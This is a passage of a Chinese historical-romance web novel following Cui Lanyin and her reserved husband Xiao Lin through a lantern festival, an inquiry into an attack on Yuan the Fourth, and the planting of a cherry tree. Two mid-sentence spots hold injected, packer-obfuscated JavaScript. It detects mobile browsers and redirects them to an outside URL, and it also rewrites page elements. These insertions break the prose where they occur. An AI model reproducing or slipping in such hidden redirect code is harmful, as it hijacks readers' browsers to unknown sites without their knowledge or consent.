傍晚时分,王大娘子终于发话,可以出门看灯节。 萧家的小郎君、小女郎们立刻呼仆唤奴出门去。 崔兰因也振作了精神,在长公子凝重的眼神下快速挥手告别,领着仆妇侍卫坐上犊车前往秦淮河南岸。 生怕晚了,长公子他就反悔了! 她早就往崔家发过帖子,今夜与崔芙宁约好相见。 崔芙宁选在一个人少的铺子前,树下有石凳,旁边有假山掩映,十分幽静,仆从被打发在不远的茶摊里歇着,不会打扰她们说话。 但人算不如天算,姐妹俩还没能说上几句体己话,就被不速之客迎面撞上。 “好巧。” 崔兰因抬头,袁四郎一点没反省自己的冒犯,脸上居然还不知廉耻挂了笑。 崔芙宁赶紧拉起崔兰因。 她俩本图个清净,故意找个避人的角落,不料反而惹来了麻烦,即便现在扬声高喊,只怕会被隔壁百戏摊的叫好声淹没,而不被他们的仆从所闻。 “盈盈,难道不再说点什么吗?”他用手点了点鼻梁,那处曾经被崔兰因打破的皮肤还有淤血未散,凝着不和谐的青紫色。 “盈盈?”崔芙宁侧头询问崔兰因。 这个称呼她好似听二殿下叫过,想必是从前她的名字。 崔兰因笑道:“抱歉的话的上一回已经说过了,袁郎君还想听什么?” “他乡遇故知,总有叙旧的话,不然请崔大娘子行个方便。”袁四郎瞥了眼崔芙宁,那轻浮的眼神令人蓦然心头一颤。 “郎君自重,这不妥。”崔芙宁咬着嗓音,声线里有丝不易觉察的惊慌。 “不妥?”袁四郎用拇指推搓着食指,转脸面朝崔兰因,嘴角勾出痞气,“至少我没有在萧家冬日宴上,当着长公子的面……” 崔兰因正要笑,她岂会被威胁住,可崔芙宁已经气得发抖,放狠话道:“别再过来了,我要喊人了!” “崔大娘子不怕自己的名声,只管喊人来。” 崔兰因冷静道:“我同你去,你少吓唬我阿姐。” 崔芙宁不同意,拦她,“不成,我不能让你随他去!” 袁四郎伸手欲拨开碍事的崔芙宁,原本紧闭的铺门恰时“吱呀”一声扇开。 几人同时停住动作。 陌生的脚步,间夹着木轴轮滚磕木板的闷声从阴影里缓缓而出。 崔芙宁首先颤着声道:“殿下。” 崔兰因还没见过大殿下,好奇望去。 坐在轮椅上的郎君温眉星目,肩膀宽阔,有一种儒雅兼英朗的气质,倘若能站起来,定然也是个丰神俊秀的郎君。 只可惜…… 崔兰因目光扫至他盖在毯子下的腿。 “原来是大殿下。”袁四郎彬彬有礼朝来人行礼。 齐毅冷面淡漠,“潘侍中在城西行善布,你这个主事还有闲心逛灯会?” 袁四郎也是个机灵人,见不好就躲,弯腰行揖礼,笑道:“还请殿下口下留情,某不胜惭愧,这就去。” 崔兰因眼看袁四郎离去,耳边传来大皇子冷若冰霜的声音。 “回去。” 随从控制轮椅,把他转回去。 “大殿下!”崔芙宁终于忍不住松开崔兰因的手追过去。 崔兰因还想跟上去,但迟疑了一会,手腕就被人从后边拽住。 她回头看,是齐蛮。 “我刚看见袁茨匆匆离开,他找你麻烦了?” 崔兰因挣开齐蛮的手,揉了两下腕部,斜睨他道:“你既遇上怎么不教训教训他,省的他总拿以前的事想要威胁我。” “以前的事?”齐蛮环住双臂,“他知道我们的事吗?你怕给萧临知道?” “我们之间能有什么事,我是担心他添油加醋。” 崔兰因见齐蛮一脸不在乎,奇怪道:“你不担心和我这个有夫之妇扯上关系,败坏你的名声吗?” 有夫之妇四个字刺耳难听。 齐蛮反驳道:“名声谁在乎,你在乎吗?” 崔兰因是光脚不怕穿鞋的,故而嗤道: “你不要名声,世家要颜面,倘若一个皇子堂而皇之和有夫之妇搅在一起,他们就要掂量掂量自己的老脸有没有地方丢了。” 齐蛮品出味来,弯眼一笑,“你担心我?” 崔兰因道:“这是自然。” 齐蛮听她这么大方就知她下一句铁定要接“因为我们是朋友”,他挥了挥手,略烦躁道:“放心吧,我有分寸。” 这一晃,崔兰因看见他掌心有白色绷带,不由问:“你手怎么伤了?” “就是伤了呗!” 齐蛮把手摊在她面前,任由她观察。 纱布裹得很厚,还能透出血色,显然伤口不浅。 崔兰因没好气道:“你现在身份‘贵重’,怎么还瞎折腾自己,也不怕落个残疾。” “放心吧,小伤。”齐蛮收回手,话音一改,高兴道:“建康上元灯会你还没见识过吧?我领你去瞧瞧!” 崔兰因不放心崔芙宁,“你自己去,我要去看阿姐。” 齐蛮再次扯住她的袖子,道:“别管了,齐毅现在看谁都横竖不顺眼,用不着多久芙宁就会被赶回来。” 齐毅现在是什么心境,他比崔兰因更清楚。 “你此前一直被崔家拘着,建康的繁华热闹都没瞧过,焉能错过?” 齐蛮使劲把崔兰因往外拽。 崔兰因也说不好是敌不过他的蛮劲,还是心里确实向往,脚下踉跄几步被齐蛮带走。 挤过一条街,视野里突然被各色各样的人与款式各异的花灯充满,空气里充斥着糕点的甜味、蜡烛烧灼的气息、女郎脸上擦的脂粉香、顽童跑得汗湿的臭脑袋…… 崔兰因有点恍惚。 好像无论贵与贱,富饶与贫瘠,城镇里的热闹都是大差不差的,这样的场景她也在别的地方看过。 齐蛮指着一处为她介绍,“那叫掬月楼,里面的樱桃酿酒味道不错,你想喝吗?” 崔兰因没有反应,他又指住另一铺面,道:“那边卖的糕点乃建康特色,许多外地商人经过都会采买许多。” 崔兰因心不在焉,只随口“嗯嗯”。 齐蛮深吸了口气,恶声道:“好不容易出来一趟,你却魂不守舍,我记得以前你可是最喜欢看灯会的热闹!” 崔兰因终于认认真真瞧了他一眼,答:“你说的从前,是快三年前的事了。” 三年前两人都是寄身在白孟城的浮萍,她是温府小娘子的伴读玩伴,齐蛮是隔壁乔府大郎君身边的长随。 他们那时还算两小无猜,天真烂漫。 齐蛮脸色变得凝重,一看就有话要问,崔兰因不想费事就指着对面道:“不过,我倒是想吃冰糖葫芦了,你腿长,帮我买两根吧,一会等我阿姐出来,给她也尝尝。” 齐蛮已习惯皇子的尊贵身份,虽然比不过那些眼高于顶的世家,但也没有人敢再指挥他干事,对于崔兰因还敢打发自己去跑腿也感到新奇,遂笑道,“那行,你在此处莫乱跑。” 崔兰因点了头,齐蛮才转身走。 可等他拿着三根糖葫芦回来时,崔兰因早不在原地。 召出随从一问,才知自己前脚刚走,崔兰因就朝着一个方向坚定离开。 但那个方向既不是找崔芙宁的,更不是回萧园的。 齐蛮沉了脸,突然就想起被崔兰因问过好几次的袁四郎。 在他离开白孟城的那半年,袁四郎和崔兰因肯定有过交集。 每次袁四郎打着哈哈蒙混过去,他就很想把他脑袋当场扭掉。 虽然他从未说给任何人听,但这世上能当着他面胡说八道的唯有崔兰因一人。 想到这里,齐蛮心里也火大。 崔兰因骗他去买糖葫芦。 于拥挤喧闹的街道寻人无异于大海捞针,齐蛮找了许久能让他捞着人也算是幸运。 他心急火燎的担心崔兰因背着自己去干什么坏事,她倒好,安安静静在看杂耍! 壮汉赤着膀子,张口往空中喷.出一口火焰,怒张的火横在半空熊熊燃烧,映亮女郎白皙的侧脸,她鼻尖泛着受冷后的红,唇瓣张张合合,像是在说什么话。 齐蛮怒气冲冲唤了声“盈盈”,就见到两张脸一先一后转向他。 他的目光首先落到旁边那高个郎君。 因为那张脸太显眼,肤色是冷白的,眉目是精致的,霜天雪地衬出他丰神俊朗的姿态。 ……居然是萧临。 崔兰因在心里叹了声。 还没跟身边这个解释清把仆从丢在哪了,齐蛮又赶过来凑热闹。 如果齐蛮懂看眼色就不会叫个“蛮”字,他长腿一跨,走上前,很稀奇地问:“长公子为何在此?” 这话说的,就好像买瓜的在问卖瓜的,你为什么要卖瓜。 崔兰因:“……” 你比我还理直气壮。 萧临留意到齐蛮手里握着三根糖葫芦,红艳艳的果子裹着晶莹的糖衣,被各色花灯照出五光十色的绚烂,晃得他眼睛难受,嗓音随之低沉,“前面出了点乱子,来接人回府。” 齐蛮咬住后牙槽,没法在后半句挑出错,就从前半句下口,“乱子?” “袁家四郎被人下了药蒙住脑袋打了一顿,前面两条街外巡卫正在排查。” 齐蛮听见袁四郎,额角一跳,忍不住去看崔兰因。 他刚还以为崔兰因是去找袁四郎麻烦了。 “……是吗,那我可要去瞧瞧。” 袁四郎与潘侍中都是齐蛮欲拉拢的一方,出了这样的事,很难不怀疑是另一方势力欲趁乱打压他。 齐蛮一走,崔兰因还没松口气,萧临就在头顶,继续先前的问题:“你甩开仆从,是因为二皇子?” 不但是仆从,还有他。 崔兰因不是那么容易放弃一件事的人,能让她痛快地退后,只有两种可能。 其一,办不到。 其二,不想要。 但凡还有丁点可能,她都会死缠烂打一番。 那日她提出要来看灯会,又问他去不去,其实耍了个小心眼,让他因为“不能陪她”进而产生“愧疚”,从而答应她的要求。 但那时候他并未料到,她是为了二皇子。 心里虽然这样想,萧临的语气还很平静,仿佛只是在讨论一个无关紧要的人和一桩无甚要紧的事。 崔兰因惊讶他的联想,说道:“和他有什么干系,是我阿姐……”不过崔芙宁和大皇子的事凭什么要跟萧临说,她道:“……我只是怕被傅母拘着不自在,可没想过会碰到二殿下,也没想过能碰见夫君,夫君不是说今日不得空闲吗?” 很完美把话题甩出去,崔兰因乖巧等萧临回答。 崔兰因心态很稳,就算当着人面胡扯也能面不改色,萧临盯着她的脸,没有发现蛛丝马迹的不妥。 “正好在附近与人谈事,听见出事,所以过来捎你回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15005939|161405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府。” 高低立现,崔兰因理亏。 不过,他能把话说得这么大气,就不能收敛点他眼睛里的审视吗? 好像她真的是个犯人一样。 天地可鉴,她可没约齐蛮相见。 “傅母他们还在茶摊。”崔兰因摸了下脸,“是不是也要知会她们一声啊?” 还有附近不知道走没走的阿姐跟大皇子。 “走吧。”萧临看了她一眼,没有继续翻她“不守承诺”的旧账,并把她带到一旁的犊车上。 长公子出行,随行有开路的侍从,人群再多也能行得通。 崔兰因还是第一次坐在萧临的车里。 萧家有专门的马厩与车院,除了几位有官身,或在族里有一定地位的郎君拥有专属车架,其余的主子则按需调配,所以车厢里只有简单的布置,而不像萧临的车全是按照他的需求喜好打造。 崔兰因很好奇地四处张望,时不时敲一敲旁边的小几,好木头,摸一摸坐垫,好料子。 萧临眼睛一瞬都没有离开她,自然把她那些繁忙的小动作都收在眼底。 犊车已经走过一盏茶的时间。 崔兰因愣是一句话没有跟他说。 东拉西扯也好,糊弄蒙混也好,随便什么都好…… 崔兰因把他当空气,以为他是个大度的君子,殊不知他像一块点燃的岩石熊熊燃烧而起,滚烫的岩浆正沿着他的胸腔慢慢淌到地上,蔓延扩大,就要,触及她裙摆上繁复秀丽的海.棠纹。 真的就那么喜欢二皇子吗? 崔家不愿意女儿与齐氏扯上干系,是明哲保身的态度,但是崔兰因心里是怎么想的,谁能真正清楚? 是不愿牵连家人的妥协,还是一时自暴自弃地接受,最后与全然陌生的他成婚。 曾经他也听过旁的郎君在酒桌上打趣另一个郎君日后肯定不得娘子喜欢,万一对方身在曹营心在汉可如何是好? 那时萧临心里就设想过,倘若日后他与妻子是在一种不得已的情况下联姻,他应该充分尊重对方的选择。 他对情与爱并不看重,自然也不受其害,但是女郎心思柔软,极容易沉溺其中,古往今来多少绝好的女郎为情之一字痛彻终身。 所以他会在能力范围内给妻子自由,至少保护她心的自由。 但他没有料到,真到这一天,他并没有比任何郎君大度多少。 或许,这就是人之所以为人。 每个君子都想克己守戒,想成为不为世俗所惑、不被尘世所苦的“神”。可到最后,他们也无法完全抛弃“人”的躯壳,“兽”的本能。 正当萧临内心被正被陌生的情绪所煎熬,崔兰因一仰脸,好奇问:“袁四郎那边究竟怎么一回事?刚刚我们碰见了,大殿下还训斥了他!” 萧临回过神,“你们碰见过?” “对啊,大殿下说什么‘潘侍中在忙,你怎好赖着脸皮偷闲’。” 崔兰因冷下脸,把齐毅的表情语气学了个七八成。 其实她的脸很不适合这种冷漠的表情,偏因为很认真在学,有种皮与骨矛盾的滑稽感,让人一眼看穿她在扮怪。 萧临也不知道为何,心底那股气莫名就散了。 这并非是崔兰因的错。 她本是一个爱玩爱闹的女郎,可他的性子沉闷严肃,远不如二皇子热情散漫。 她喜闹,他喜静。 就如赤日灼灼与银月溶溶,天差地别。 兴许,嫁给他,真的令崔兰因委屈。 她不过是想在一个热闹的节日里小小放纵一回,他又何必耿耿于怀,刨根问底。 ——自讨没趣? 崔兰因眼见着萧临缓缓闭上眼,那两排直而密的睫毛就像是两扇门,把主人的心事关了回去。 “无须再与人提起,免节外生枝。” 崔兰因马上答应:“好。” 呼,好险。 萧临不是一个秋后算账的人,现在不问,也不用担心他日后再翻出来说。 崔兰因一路乖顺,坐着萧临的犊车回到茶摊附近,陈媪等人刚得知出了事,正着急不知何处去寻崔兰因。 至于崔芙宁,早被崔家仆急吼吼地送回去。 闹市中有歹人行凶,年轻的女郎、郎君们哪有不怕的,就算自个不怕,家族也会心急火燎召他们回去。 崔兰因倒是不惧,这种事在她经历的那十年的大风大浪里不过是只小虾米,不过现在她只能是娇弱可怜的崔家女,娴静端庄的萧家妇,随着人流飘回安全的堡垒——萧园。 回到玉阆院,崔兰因先去梳洗,景澜在外敲了门,说是有事要报。 萧临带他去书房。 崔兰因心想,可能是灯会上的事。 不过也与她无关啦! 崔兰因把肩沉进水里,冬天哪怕穿再多衣物手脚还是凉的,只有睡前在热水里泡一泡,才能彻底暖起来。 她把后脑勺搭在桶边,闭上眼哼着小曲,耳边有她拨拉出的水声,有外面呼呼吹动的风声,隐约还有几道人语,像是萧临和景澜的声音。 在混杂的声音里,崔兰因百无聊赖地想。 他们居然没去前边的书房? 早知他要用那间屋,她就吩咐人收拾一下,里面被她弄得有点乱呢,笔没收,小黄册也还…… 小黄册? 崔兰因倏地把双眼一睁,心脏怦怦狂跳了两下,她为戏耍萧临,在小黄册上胡写了一通,写得还是…… 屋门被人打开,木轴转开的声响犹如一只藏在草丛里的蟋蟀,虽轻微却显耳。 怔然片刻,崔兰因才双手一撑,犹如一条被鱼叉瞄准的鱼,奋力一跃从水里逃出。 噼里啪啦,水珠迸射,崔兰因胡乱擦了擦水,飞快裹上一件衣,披下湿发,赤着一双脚奔出。 “傅母!” 陈媪不在,靠在房门前,闻声抬眼的人是萧临。 仅一眼,“啪”得声。 崔兰因身上犹过了一道电,不但心口苏苏麻麻的,就连指头尖都快攥不紧衣紧。 “……?” 萧临原来长这幅模样的吗? 一个冷肤淡眸的郎君,在火光下艳得像只鬼。 崔兰因从未发觉一双浅色的眸比深色的眸还让人看不透,正如清澈的水充满水浅的假象,在引诱不知深浅的人盲目地跳入,而后沉溺其中,挣扎到最后一口魂漾出躯体。 他的目光所及处,她寒毛就像是给长官行礼的兵卒,成片成片整齐倒竖。 润.湿澎湃的腹腔、发酸打颤双腿,她仿佛要化作一滩水—— 他看到了吗? 他一定是看到了吧! 崔兰因揪住胸前已经不知是被冷汗还是被洗澡水弄湿的衣襟,身上一阵冷一阵热。 她现在还能开口解释,那句“……能摸摸……”、以及"……能抱抱……”都是书上抄来的吗?! 但凡萧临多看几本话本子也不至于站在这里,拿这种晦暗的眼神幽幽地盯住她,活像是她写下这些话是故意挑衅他…… 诚然,崔兰因的确存过这样的心思。 萧临以为简单的物件就能弥补一颗被他伤害过的心?她只想让他知道,这世上不是所有事他都能轻而易举满足! 他的手给摸吗?他的腰给抱吗? 定是不给的呀! 崔兰因一边战战兢兢,一边心猿意马。 但就是这种又怕又要的感觉,她有点喜欢…… 18.窥视 虽然被崔兰因当做“男鬼”,但萧临没有读心术。 他无法得知女郎心中所想,只能看见她还湿润的睫毛像受惊的小鸟瑟瑟颤抖,水珠一颗接着一颗她从潮热的发丝争先恐后挤落,在她圆润紧缩的脚指旁粉身碎骨。 刚刚沐浴过的女郎嫩得像一截方冒出芽尖的叶子,露出的地方无不脆弱易折。 折,这个字眼代表的是摧毁。 见之柔弱,想到的是摧毁而不是呵护,这种想法完全违背道德,也背离萧临的准则。 可他没有办法,没有办法在崔兰因面前克制住他的心不往卑劣、阴暗的方向去。 就好像在强烈的阳光下投在身后的影子,轮廓明显,颜色浓黑。 他在看着崔兰因的同时,看见自己漆黑的灵魂。 “抱歉。”他开口道。 只有两个字,也不知道他抱歉是因为在她衣冠不整时闯进屋,还是目睹了她大胆的文字。 还是抱歉自己的心不受控制。 虽然萧临的眼神很带劲,但崔兰因身上都快湿透了,再与他僵持下去怕要挨冻,不得不开口:“夫君,你怎么了?” 她能把声夹出微颤的音,柔弱能助长嚣张,也能蒙蔽人。 更像个无辜可怜的受害者。 他怎么了? 萧临也想有个人能够给出回答。 明明已经想通,为什么在看见那两行字的时候还会迸发出剧烈波动的情绪,他听不清景澜的话也无法摒除心中的杂念。 夜晚让所有情绪都蒙上一层深色,失去了其本身的色彩。 智者也无从将它们一一辨别、分清。 他能怪崔兰因吗? 不能。 他只恨自己还不够大度。 就像修道者不会怪外界的干扰,只会怪道心不稳。 “……无事。” “是有关袁四郎的事吗?他……死了?”崔兰因大胆猜测。 萧临一抿唇,那被寒气染白的唇恢复了些血色,在他的脸上越发艳丽,“不是。” 崔兰因拢住衣襟,两只脚原地跺了跺,好像是冷到骨子发颤,“那就好,不然这大过节的多晦气呀!那犯人抓到了吗?” 无关紧要的谈话让两人之间的气氛变得缓和,萧临拎起旁边一件披衣递给崔兰因,“还没有线索,穿上吧。” 说着,他并没有出去,而是往屋里走,脚步有些快,崔兰因等他彻底进到内室才往屋门去,趴在门缝上对外面喊:“傅母、豆蔻。” 陈媪很快就入内为崔兰因擦拭湿发,涂抹香膏,而豆蔻领着几个健妇挑换洗澡水,重新收拾了净室。 收拾好一切,众人再次退出房,崔兰因就去叫萧临沐浴,而她自己则躺到床上用汤婆子暖着手脚。 并且重新思考萧临这个人。 似乎、好像、或许也不是那么无趣。 既然他们还有那么长的时间需要相处,崔兰因想要做出点改变,再与萧临拉近些关系,不知道会不会发生些更有趣的事。 她的心已经在为没有发生过、也无法想象的事而雀跃。 萧临拿着书回到床边,崔兰因的两只眼睛还炯炯有神亮着,那明灿的目光把他扫视了几遍,像是在找寻蛛丝马迹。 他忍住不低头检查,平静道了句:“今日水温很适宜。” 言外之意,因为水温很好,所以他才用了这么久的时间。 并没有做其他多余的事。 “哦。”这个回答很容易让人听出不信任、怀疑的语气。 萧临不再辩解,而是道:“明日会有人向你询问有关袁四郎之事,不必担忧,此事是谢玧所管,例行公事而已,你如实告之,他不会为难你。” 胶东袁家的郎君闹事遇险,兹事体大,所有接触过他的人逃不了询问。 袁四郎今夜去了哪,见过什么人,他的长随再清楚不过,所以崔兰因想抽身事外,并不容易。 好在,她只是个柔弱的小女郎,不会有任何人把这件事与她关联在一起,问话也最多是想知道袁四郎在被歹人袭击前有没有留下线索,毕竟他人现在还昏迷着,无法亲自出来说明经过。 “好。”崔兰因不疑有他,笑盈盈道:“我信夫君。” “嗯。”萧临点头,上床,翻开书对她道:“你先睡吧。” 就睡了? 崔兰因满头雾水,净室里面究竟藏了什么法宝,能把萧临从有趣艳鬼打回无趣冷仙! 翌日一大早,谢玧就坐到萧园前厅。 有萧临作陪。 一问一答,崔兰因并无隐瞒。 谢玧总结道:“……这么说,二娘子也不知袁四郎从何而来,去往何处?” 崔兰因的脸被一圈白绒绒兔毛围绕,一派天真与烂漫:“中郎将又听漏了,我是不知袁四郎从何来,但知他应是要去找潘侍中,大殿下拆穿他偷闲,他还极不好意思连连告罪,要人替他隐瞒呢!” 谢玧敲了下脑袋,“哦,是是是,我刚还记着呢,所以袁四郎在东街文成书阁前停留片刻,与二娘子说了几句话,又转去西街方向,准备与潘侍中……” 他让旁边的书吏官记录,自己搓着下巴琢磨。 “不过奇怪的是,袁四郎究竟和崔娘子有什么渊源,那长随交代,他家郎君是直冲崔二娘子你去的……所以他有没有说些别的话?” 崔兰因摇摇头,遗憾道:“那倒是没有,中郎将可再去询问大殿下,兴许有我听漏的地方。说起渊源的话……上回萧家冬日宴,中郎将也在场,我误伤过袁四郎,他可能对我怀恨在心,想要伺机报复!中郎将你可有拷问过那长随,袁郎君冲我来可是想行什么歹毒之举?” 说到最后女郎的脸色一白,眼神光也摇摇欲坠,像是真为此后怕起来。 谢玧:“……” 虽然崔兰因的担忧毫无道理,但他还是要安慰一句:“袁四郎好歹出身胶东袁氏,名门大族,其父是个清正廉明的好官,其母也惠外秀中,所以他不至于如此小肚鸡肠,对吧?神玉?” 萧临道:“他不敢。” 崔兰因顿时一扫脸上忧虑,弯眼笑道:“谢谢夫君,有你这句话我就安心多啦!” “?” 谢玧望着眼中无他的表妹。 心微微抽痛。 他说了这么多,怎么就比不上萧神玉三个字? 罢罢罢,他是个大度不计较的郎君,遂起身,对萧临揖手,“神玉,我就问到这了,多谢。” 崔兰因:“?” 你问的是我,你谢他做什么? 萧临送谢玧出府。 崔兰因趁机跑回后院书房,扫了眼桌面,她的小黄册已经被挪到左手边,被一玉蛇纸镇压在下面。 / 山巅雪融,露出青翠的颜色,淅淅沥沥的雨织出朦胧春色。 开年春讯接连不断,萧临又搬回前院。 崔家大郎特意从外地运了一棵带着花苞的樱桃树送来萧园。 崔家上下都记得,崔兰因喜欢樱桃。 崔兰因在院子里指挥人栽种,萧临回来找卷宗时往窗外看了眼就看见那颗枝繁叶茂的树,便沿着廊子走到崔兰因身边。 “夫君怎么在这?” 应该在皇城办公的人突然出现,崔兰因小小心虚了下,就指着旁边被翻开的土,连忙解释:“樱桃树喜阳,我观察过那个角落的阳光最好,每日可以晒足三到四个时辰。” 好在这院子里也没有什么,崔兰因选的这块角落只斜依了几颗茂盛的芭蕉叶,多一颗樱桃树也没有影响。 萧临问:“你喜欢吃樱桃?” 崔家大郎运树的事情,他也有所耳闻。 工部管漕运船只,所以里边的官员偶尔也会捎带点东西,树这种东西就比较显眼,也很新奇。 “对啊,我小名阿樱,就是抓阄的时候揪住祖母盘子里的樱桃所得……” 红红黄黄的果子,在一堆黄金打造的小物件里可能格外吸引她的注意。 崔兰因话音一转,笑道:“不过我还是更喜欢听盈盈,盈盈一水间的盈盈。” 盈盈,盈水…… 萧临面色微凝,目光不由放到阳光下颤巍巍的花枝上。 崔兰因在旁边问:“夫君还不知道我的小名吧?” 其实萧临听过二皇子叫“盈盈”,但是隔着远,再者这个音的字也有很多,比如“莹莹”、“英英”,他也不确定是哪个字。 崔兰因特意提起盈水,萧临也不能当做不知晓那件事,遂问:“……是因为你在盈水边走丢的吗?” 世族取名多讲究形美意好,而普通百姓大字不识,很难为孩子取出好听的名,就会结合周边环境,取个通俗易懂的名。 就好像“井生”“江儿”等等。 崔兰因与他并立在檐下,翘首望着院子被春光映亮的葱绿新红,斩钉截铁道:“不,是因为我在盈水边,获得了新生。” 她没有死,反而活下来了。 “盈盈”不是为纪念苦难,而是纪念新生。 萧临一怔。 新生吗? 皇甫氏最后一任皇帝病重,随后齐氏拥兵自立,朝野内外人人自危。 齐氏出身庶族,背后结交的也是同样的庶族。 世家把他们排挤在外,让他们结成与世家同样坚固排外的圈子。 自古权与利都是有限的资源。 并不因其人多而变得庞大,反而因此变得稀缺。 所以此消彼长是无法避免之事。 齐氏重庶族,通过一系列政令手段。譬如开创甲科制,言道:“虽复牛监羊肆,寒品后.门,并随才试吏,勿有遗隔。”①以此来扶持庶族,打压世族。 盈水泛滥那一年也是世家危急存亡之秋。 他在盈水之上,经历过一场巨大的磨难。 是新生还是毁灭,他不知道。 他没唤她的小名,只道:“我记住了。” / 樱桃树栽下去养护几日,不见有枯损,这便是活了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15012580|161405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一团团一簇簇的粉白樱桃花堆满枝头,崔兰因把落花收集起来,给鹦鹉铺窝。 崔兰因把鹦鹉喂了一个冬天,养熟后偶尔拿在手里玩也不担心它会突然扇她一翅膀,然后逃之夭夭。 它是一只大绯胸鹦鹉,有一身漂亮的绿色羽毛,翅膀上少量鹅黄色,胸口是灰紫,下勾的鸟喙橘红,脸和下巴还有两道黑色的斑纹,看起来像是蒙面大盗。 崔兰因给它取名蒙蒙。 蒙蒙会学人言,已经熟练掌握了“吃饭”、“出去玩”、“蛇蛇”等上百个常用词。 它的聪明程度让婢女说悄悄话都要避着它,免得被它学了去。 “蛇!”“蛇!” 蒙蒙跳起来,爪子抓在笼子上,叫唤玩伴。 崔兰因用银勺敲了敲鸟脑袋,“别叫了,萧临的蛇都冬眠了,不过我还不知道那条蛇叫什么名字?” 她自言自语。 “没有名。” 萧临这么早回来是少有的事,不过崔兰因不会过问他的公事,遂搁下银勺,好奇问:“为什么没有名字?” “蛇和其他动物不一样,就算叫它名字,它也不见得会搭理,所以没有必要。” 崔兰因:“……?” 听起来好没意思。 “那你为什么要养蛇呢?” 为什么养蛇? 萧临一下忆起从前的事。 那是一个酷暑天,一场雨泼浇天地,雨帘如密网,庭院里所有的颜色像是点墨晕开在宣纸上,朦胧的视野里只有清晰的水声。 比水声还要清楚的是身后、门扇里老师与母亲的交谈声。 “王大娘子,神玉并非没有缺陷,不瞒您说,他很聪慧,正因为聪慧,他很清楚该如何与人相处,可这恰恰是他最大的缺陷。” “善与恶在他心中是混沌的,他得到的、拥有的、留下的全是王大娘子你给予的……他被剥夺了选择的权利。这意味什么?这意味着他可能不似表面看上去温和,他是自私自利还是邪恶阴暗,无从可知。” “或许,并没有那么严重呢?”母亲的声音颤抖、沉闷,像是从紧捂的指缝里挣扎出来,“他是我的儿,唯一的希望,我、我怎么能让他就此破碎……不会的,他很好,他会一直很好。” 那一叠声的“他很好”,就好像富有节奏的雨声,浇灌进他的心田。 他不知是被安慰了,还是被束缚了。 后来,母亲要他选择一种动物当做宠物。 饲养、照顾、保护生命似乎是一种向善的表现。 而他选择了蛇。 一种不被喜爱,象征着凶残与冷酷的动物。 在母亲苍白的脸前,他亦苍白地回道:“蛇,理智而缜密,富有敏锐的洞察力,更重要的事,它是猎手,从不软弱。正如现在的萧家必须像蛇一样冷静,也要像蛇一样有威慑力。” 他想,老师说的或许没错。 他的确聪明,聪明于清楚该如何与人相处,怎么让母亲放心。 同样的,他也软弱,从不敢让母亲,让任何人知道他真正的想法 “可能因为像我。”萧临望着她,抬起右手,“……或者说是我。” 崔兰因没听懂也没留意,因为她的注意力全放在他那只就快碰到她脸颊的手上。 这种悬而未落的感觉就好像是打开未知的匣子。 或许有人会畏惧未知,但那个人不是崔兰因。 崔兰因的耳尖发烫,心跳加剧,腹腔发痒,隐隐期待。 不过萧临还是克制地,收回手。 崔兰因有点失望。 / 今年是暖冬,大雪一过气温直往上拔,故而这从南方移来的樱桃树没受到寒冷摧残,在充足的日照和花匠的精心照料下,没过半个月,很快褪去开败的花,果梗下结出青绿色的小果。 硕果喜人,崔兰因每日都要去看几遍她的樱桃树。 有时候连午睡都要搬一张躺椅,睡在树下。 这日也是如此,萧临恰好办事经过萧园,回书房取了两卷书,恰逢视线穿过窗口,看见树下裹着毯子午睡的女郎。 他不由自主走出书房,步入后院。 这棵樱桃树并不高大,他需微弯下腰小心避开枝丫,刚从冬眠中苏醒的小青蛇被他随手挂在一根枝上自由活动,他自己则低下头去看。 崔兰因睡得很沉,两排睫毛安分垂下,静静伏在眼下白净的皮肤上,两片唇肉互相挤着,犹如多汁的浆果娇妍鲜艳。 她并不知被窥视着。 而窥视,代表着不道德的禁忌。 萧临的心挂上重石,胃里也都填满石块,五脏六腑都在往下坠,坠到他无法看清的深渊。 他凝视着树下的崔兰因。 头顶上的小青蛇缓缓爬过,用自己细长的、布满鳞片的冰凉身体圈住一枚青涩的果子,稚.嫩的青果被挤压,青色的外皮泛出果肉的颜色,好像随时要爆掉。 又或者,被这饥肠辘辘的蛇吞下腹。 19.破防 都说女人心难以捉摸,可在崔兰因看来,萧临比女人心更难理解。 他像是一阵雾。风一起,就会消散,可过几日,又不知不觉沾上身,让人浑身湿哒粘稠。 崔兰因拿不准变幻莫测的郎君。 “傅母,你觉得长公子到底是怎样的人?” “长公子?” 这个问题对于陈媪以及绝大部分人都很容易回答,她不假思索就道:“长公子少年俊才,神清气正,位居高位而不骄,手握大权而不躁,对上不屈,待下不苛……” 好话崔兰因都替萧临腻了,遂打断她道:“那缺点呢?” “什么?” 崔兰因用手把陈媪放在自己头发上的梳子顺下去,扭身把手肘搁在梳妆台上,问:“傅母刚刚说的都是优点,我现在想知道,他有何缺点?” 陈媪皱着眉头思索许久,最后小心翼翼开口道:“不近女色?” 崔兰因“噗嗤”笑出声来。 “傅母,若长公子是个潜心修道或者一心向佛之人,不近女色是缺点吗?” “……”陈媪觉得崔兰因的比喻很奇怪,但还是如实道:“那自然不是。” 崔兰因眨眨眼,“既然不是,为什么对长公子就是缺点?” 陈媪一时哑然。 崔兰因的有些想法很奇怪,是让人无法辩驳的诡辩。 “你再想想?”崔兰因催促道。 陈媪苦思冥想半晌,摇摇头,“奴实在想不出来。” 